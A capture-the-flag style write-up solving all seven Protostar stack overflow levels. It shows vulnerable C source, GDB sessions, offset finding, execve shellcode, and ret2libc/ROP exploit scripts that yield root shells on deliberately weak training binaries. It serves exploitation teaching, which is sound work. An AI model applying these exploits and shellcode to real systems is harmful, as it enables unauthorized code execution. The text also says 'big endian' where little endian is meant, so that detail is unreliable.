Exploit Exercises Protostar Stack Series
In this series I will solve each of the seven levels of in from exploit exercises protostar. You can find more info about the challenges here. I will show you the source code and do my best to explain what is going on behind the scenes, my thought process, and how to solve and exploit each of the challenges. I tend to use GDB-Peda, Radare2, or GDB.
Stack Zero
Source Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
Overview
This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.
Viewing the source code we can that it is requiring the user to input some data with gets()
. Which will then be saved to our buffer
variable.
1
2
3
4
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack0
test
Try again?
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$
We need to change the value of modified
to step into the “if”.
Exploit
There is a char buffer that allocates 64 bytes. In the source code the modified
variable is set to 0 then the line right after gets()
is called where it requires the user to input some data. If we check out the manpage for this we can see that there is a bug:
1
2
3
4
5
6
7
8
BUGS
Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets()
will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dan‐
gerous to use. It has been used to break computer security. Use fgets() instead.
For more information, see CWE-242 (aka "Use of Inherently Dangerous Function") at http://cwe.mitre.org/data/defi‐
nitions/242.html
The issue as stated in the bug is that the characters are stored within the buffer
and the characters inputted can go over the allocated amount without any checks. Since the buffer variable is stored on the stack. Since the variable monitored
is placed on the stack before the buffer array and knowing that the stack grows downward we can overwrite the monitored variable and change the value. We can test this with the help of some python.
1
python -c "print 'A'*68" | ./stack0
The output reveals that we have changed the variable
1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ python -c "print 'A'*65" | ./stack0
you have changed the 'modified' variable
Stack One
Source Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
Overview
This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory.
The first if statement checks if there is the correct number of arguments and if there is an argument passed then it is saved into buffer
. This is very similar to Stack 0. The issue is mainly with strcpy()
1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack1 test
Try again, you got 0x00000000
Exploit
The issue with this piece of source code is the strcpy()
and we can verify this by viewing the manpage for the strcpy
as shown below
1
2
BUGS
If the destination string of a strcpy() is not large enough, then anything might happen. Overflowing fixed-length string buffers is a favorite cracker technique for taking complete control of the machine. Any time a program reads or copies data into a buffer, the program first needs to check that there's enough space. This may be un‐necessary if you can show that overflow is impossible, but be careful: programs can get changed over time, in ways that may make the impossible possible.
Since the modified
variable is stored before the buffer
variable and a strcpy
is used to store a string of characters into the buffer without checking if it fits we can change the value of modified
. So in this instance we want to change modified
to match 0x61626364
. So we can convert the hex to see what the ascii equivalent is and use that to overwrite the variable value
1
2
>>> "61626364".decode("hex")
'abcd'
Now we can append abcd
to the end of our 65 bytes of ‘A’ as seen below. But notice the bytes are arranged in big endian format.
1
2
3
4
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd
Try again, you got 0x64636261
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
you have correctly got the variable to the right value
Stack Two
Source Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
Overview
Stack2 looks at environment variables, and how they can be set.
After we try to execute the program we can see that we need to set the GREENIE environment variable
1
2
3
4
5
6
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack2
stack2: please set the GREENIE environment variable
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ export GREENIE=test
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack2
Try again, you got 0x00000000
Exploit
In this program it is similar to the previous challeneg, but instead we are using a environment variable called GREENIE
. So we have to set the variable with the export
and set a new value. It looks like the value that the program is looking for is 0x0d0a0d0a
. So we can decode the hex to ascii and see that it uses the newline and return hex values.
1
2
>>> '0d0a0d0a'.decode('hex')
'\r\n\r\n'
So if we try to append this to a 64 byte ‘A’ string then we get this:
1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ export GREENIE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n\r\n
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack2 Try again, you got 0x6e726e72
The values are not correctly interpreted so we can use a little python to get the exact values we want.
1
2
3
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ export GREENIE=`python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'"`
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack2
you have correctly modified the variable
Stack Three
Source Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
Overview
Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)
1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ ./stack3
test
Exploit
This is very similar to the previous challenges, but instead the bug in the program is gets()
. If we look at the manpage for gets()
we can understand the bug a little better.
1
2
BUGS
Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead.
Since the gets()
function continues to store characters past the end of the buffer and the function pointer fp
is declared before the buffer
variable we can overwrite this. Since we need to get to the win()
function we need to get the address of where it is at. We can do this by using object dump as seen below.
1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ objdump -D ./stack3 | grep win
08048424 <win>:
Now that we know the address of the win()
function and knowing that the system uses big endian we can solve the challenge
1
2
3
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ python -c "print 'A'*64 + '\x24\x84\x04\x08'" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
Stack Four
Source Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
Overview
Stack4 takes a look at overwriting saved EIP and standard buffer overflows.
1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ ./stack4
test
Exploit
This is where things become a little more tricky than the previous challenges. We know that the end goal is to alter the program use the win()
function and display the message. So first we wanna find out the address of where the function is stored.
1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ objdump -D ./stack4 | grep win
080483f4 <win>:
Now that we know the address of the win()
function is stored at 0x080483f4
can save that for later. We also want to create a file with our 64 ‘A’ to understand the size of the stack.
1
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ python -c "print 'A'*64" > buffer64
When we run gdb in TUI mode and set the layout of regs
and asm
and finally set a break point on main we can passing our 64 ‘A’ by using r < buffer64
then we can check the stack by using x/30x $esp
as shown below.
Right after the gets()
which is the end of our main we return to the previous function. We can see this at 0x0804841d
in gdb. This uses the base pointer which is stored right after our stack and can be overwritten to change which function the return is going to navigate to. In order to do so we must do some math to figure out the number of bytes to change that value.
1
2
>>> int('0xffffd46c', 16) - int('0xffffd420',16)
76
Now that we know it takes exactly 76 bytes to overwrite the base pointer value we can craft another file to change it.
1
python -c "print 'A'*76 + '\xf4\x83\x04\x08' " > buffer64Address
Now once we run it we can see that the return jumped to the win()
function and we have solved the challenge.
1
2
3
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ ./stack4 < buffer64Address
code flow successfully changed
Segmentation fault
Stack Five
Source Code
1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
Overview
Stack5 is a standard buffer overflow, this time introducing shellcode.
1
2
$ ./stack5
test
Exploit
From the source code we can see that there is no function that we are trying to jump to and that we need to provide our own shellcode. This works out perfect we can use our shellcode from the SLAE64 course to obtain a shell or use shellstorm.
Since we know what we are trying to exploit the gets() function we can begin and try to find the EIP offset or the (Instruction Pointer Offset). I prefer to use pattern_create and pattern_offset that is already built into Kali.
1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
This gives us a unique pattern to use to find the offset of the EIP. We can paste this into the program and get where the EIP is overwritten.
1
2
3
4
5
6
7
(gdb) r
Starting program: /opt/protostar/bin/stack5
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
(gdb)
Then we can use python to figure out the ascii value for the hex that replaced the EIP register value
1
2
>>> struct.pack("I", 0x63413563)
'c5Ac'
Then use the pattern_offset script to find the exact offset
1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q c5Ac -l 100
[*] Exact match at offset 76
Now that we know the offset we can begin to form our exploit. Below is a photo what our stack looks like on the left and the stack on the right is what we want our stack to look like after sending our exploit code.
To test this out we can send 76 A’s then four B’s then 4 C’s for safe measure.
1
2
>>> "A"*76+"BBBB"+"CCCC"
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC'
Pasting this into GDB
1
2
3
4
5
6
7
8
9
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack5
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
If we take a look at the registers using the info reg
command in GDB we can see that the EBP register (Base Pointer) was overwritten with A’s and the EIP was overwritten with B’s
1
2
3
4
5
esp 0xbffffcc0 0xbffffcc0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
Now that we have confirmed we can control the EIP value we can point this to our shellcode. We need to figure out where the “CCCC” we sent are store on the stack.
1
2
3
4
5
6
7
8
(gdb) x/100x $esp-100
0xbffffc5c: 0x080483d9 0xbffffc70 0xb7ec6165 0xbffffc78
0xbffffc6c: 0xb7eada75 0x41414141 0x41414141 0x41414141
0xbffffc7c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc8c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc9c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffcac: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffcbc: 0x42424242 0x43434343 0xbffffd00 0xbffffd6c
We can see that at address 0xbffffcc0
(0xbffffcbc
+ 4 ) is where our “CCCC” or 0x43434343
were placed on the stack. Now we can begin to write our exploit.
1
2
3
4
5
6
7
8
import struct
padding = "A"*76
nops = "\x90"*14
eip = struct.pack("I",0xbffffcc0)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload = padding+eip+nops+shellcode
print payload
The shellcode that I used execute the /bin/dash
shell for us. You can find this code here. We will now have to save the output of this to a file.
1
python exploit5.py > /tmp/txt
We can now test this out on our binary. The dash is used to pass the file hex in as stdin.
1
2
3
$ cat /tmp/txt - | /opt/protostar/bin/./stack5
whoami
root
Stack Six
Source Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
Overview
Stack6 looks at what happens when you have restrictions on the return address. This level can be done in a couple of ways, such as finding the duplicate of the payload ( objdump -s will help with this), or ret2libc , or even return orientated programming.
Exploit
First we need to find the offset. We can use pattern_create.rb
to create our uniqe offset.
1
2
ap3x@kali-exploitdev:~$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Now we can paste our unique string into the user input in GDB.
1
2
3
4
5
6
7
8
(gdb) c
Continuing.
input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? ()
(gdb)
When convert 0x37634136
to ASCII using python it’s 6Ac7
.
1
2
ap3x@kali-exploitdev:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 6Ac7 -l 100
[*] Exact match at offset 80
Now that we have verified that our offset is at 80 bytes we can begin to develop our exploit. Something that is very important to point out about the code is that the return addresses starting with 0xbf
are filtered, which essentially stops us from executing on the stack. Although there is a way we can get around this using ret2libc. The ret2libc takes advantage of the fact that the libc library is loaded into memory and its also used by the program. So we can set the return address to the address of any function in the C library. In order to take control of the program we will be using system()
. We will over rite part of the stack that was set prior to calling getpath()
and manually inject stack frames to call system()
. We will specifically be overwriting the return address of getpath()
with system()
.
As shown in the photo above we will replace the return address 1 of getpath()
with system()
and return address 2 is not important and will be explained in stack seven. Finally we will have to pass a string which is the command we want to execute, which will be /bin/sh
. So in GDB we need to find the address of system()
.
1
2
(gdb) p system
$3 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
Now we need to find where libc is loaded so we can call /bin/sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) info proc map
process 11431
cmdline = '/opt/protostar/bin/stack6'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
0x804a000 0x806b000 0x21000 0 [heap]
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fde000 0xb7fe2000 0x4000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
Now that we know where libc starts at address 0xb7e97000
. Since /bin/sh
is a string on in libc we can find the offset from the start of the file. In order to do this we can use the -t x
to display the the offset in hex.
1
2
user@protostar:/opt/protostar/bin$ strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh
11f3bf /bin/sh
We can see that the offset is at 0x11f3bf
we can find the exact offset in memory since we know the base address is 0xb7e97000
.
1
2
>>> hex(0xb7e97000 + 0x11f3bf)
'0xb7fb63bf'
If we go back into GDB we can verify this:
1
2
(gdb) x/s 0xb7fb63bf
0xb7fb63bf: "/bin/sh"
The final exploit script is:
1
2
3
4
5
import struct
offset = "A"*80
system = struct.pack("I", 0xb7ecffb0);
shell = struct.pack("I", 0xb7fb63bf);
print offset + system + 'AAAA' + shell
1
2
3
4
5
user@protostar:/opt/protostar/bin$ python /tmp/exploit6.py > /tmp/txt2
user@protostar:/opt/protostar/bin$ (cat /tmp/txt2; cat) | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA����AAAA�c��
whoami
root
Stack Seven
Source Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
Overview
Stack6 introduces return to .text to gain code execution.
When the call
assembly instruction is called in the main for getpath()
the return address is put on top of the stack and if any arguments were passed then it would also be put on the stack. If we write enough data to the buffer, we can overwrite the return address with our own address so we can hijack the execution flow when ret
is executed. There is an issue though… the modified return address cannot start with 0xb
otherwise it will exit.
Exploit
When we open the stack7
binary in gdb we can first start by setting a break right at the ret
1
2
3
4
5
6
7
8
9
10
11
user@protostar:/opt/protostar/bin$ gdb -q ./stack7
(gdb) set disassembly-flavor intel
(gdb) disas getpath
Dump of assembler code for function getpath:
...
0x0804853e <getpath+122>: call 0x80483f4 <strdup@plt>
0x08048543 <getpath+127>: leave
0x08048544 <getpath+128>: ret
End of assembler dump.
(gdb) b *0x08048543
Breakpoint 1 at 0x8048543: file stack7/stack7.c, line 24.
Similar to the previous levels we were able to find the offset with pattern_create.rb
and found out that the offset is 80 bytes. For this challenge Im gonna use the ret2libc technique. Essentially we want to put the address of the the libc function system()
as the return address and pass /bin/sh
as an argument. Since strings in C are passed as pointers then the stack should contain the address of the string.
Now we can use GDB to find the address of system()
to get the address.
1
2
(gdb) p system
$3 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
Now we need to find where libc is loaded so we can call /bin/sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) info proc map
process 11431
cmdline = '/opt/protostar/bin/stack7'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/stack7'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack7
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack7
0x804a000 0x806b000 0x21000 0 [heap]
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fde000 0xb7fe2000 0x4000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
Now that we know where libc starts at address 0xb7e97000
. Since /bin/sh
is a string on in libc we can find the offset from the start of the file. In order to do this we can use the -t x
to display the the offset in hex.
1
2
user@protostar:/opt/protostar/bin$ strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh
11f3bf /bin/sh
We can see that the offset is at 0x11f3bf
we can find the exact offset in memory since we know the base address is 0xb7e97000
.
1
2
>>> hex(0xb7e97000 + 0x11f3bf)
'0xb7fb63bf'
If we go back into GDB we can verify this:
1
2
(gdb) x/s 0xb7fb63bf
0xb7fb63bf: "/bin/sh"
Now we can begin to write our exploit with all this info.
1
2
3
4
import struct
offset = "A"*80
system = struct.pack("I", 0xb7ecffb0);
shell = struct.pack("I", 0xb7fb63bf);
But wait… Remember there is a restriction on the return address that we haven’t satisfied yet. The return address of system
starts with 0xb
. So to get around this we will have to utilize ROP (Return Oriented Programming). Which essentially we want to find gadgets, which is small set of instructions already present in the code to accomplish a specific goal.
When the ret
variable is set the processor will push to the address to the top of the stack into thus changing the EIP, and will also increment ESP by 4 bytes (stack grows towards lower addresses). If the address at the top of the stack points to another ret instruction, when it is poped off and executed the step I previously explained will happen again and the execution will continue at the next address that is on the stack. So we need can avoid the the return address checking by modifying our exploit to put the address of a ret instruction as the return address, before the address of the system. We can use a random ret instruction address in our program. For this exploit I just used the first address.
1
2
3
4
5
6
7
8
9
10
11
user@protostar:/opt/protostar/bin# objdump -D stack7 | grep ret
8048383: c3 ret
8048494: c3 ret
80484c2: c3 ret
8048544: c3 ret
8048553: c3 ret
8048564: c3 ret
80485c9: c3 ret
80485cd: c3 ret
80485f9: c3 ret
8048617: c3 ret
So now our stack should look something like this:
The final exploit will look something like below:
1
2
3
4
5
6
import struct
offset = "A"*80
ret = struct.pack("I", 0x8048383); # address of ret
system = struct.pack("I", 0xb7ecffb0); # system()
shell = struct.pack("I", 0xb7fb63bf); # "/bin/sh"
print offset + ret + system + 'AAAA' + shell
But wait why are we using AAAA
well remember “return address 3” in the photo above? It techincally doesn’t matter what this is as long as its 4 bytes. The AAAA
can be replaced with exit
address since this value is used for the return address for system()
.
1
2
3
4
$ (cat /tmp/txt; cat) | ./stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA�����AAAA�c��
whoami
root
So what now?
I just wanna make it clear that doing Protostar is not the same as exploiting modern systems. The challenges are compiled on older 32 bit systems and lack mitigation techniques that are common practice today, such as:
- Non-executable stack (NX) not enabled
- No stack canaries
- The system has ASLR (Address Space Layout Randomization) disabled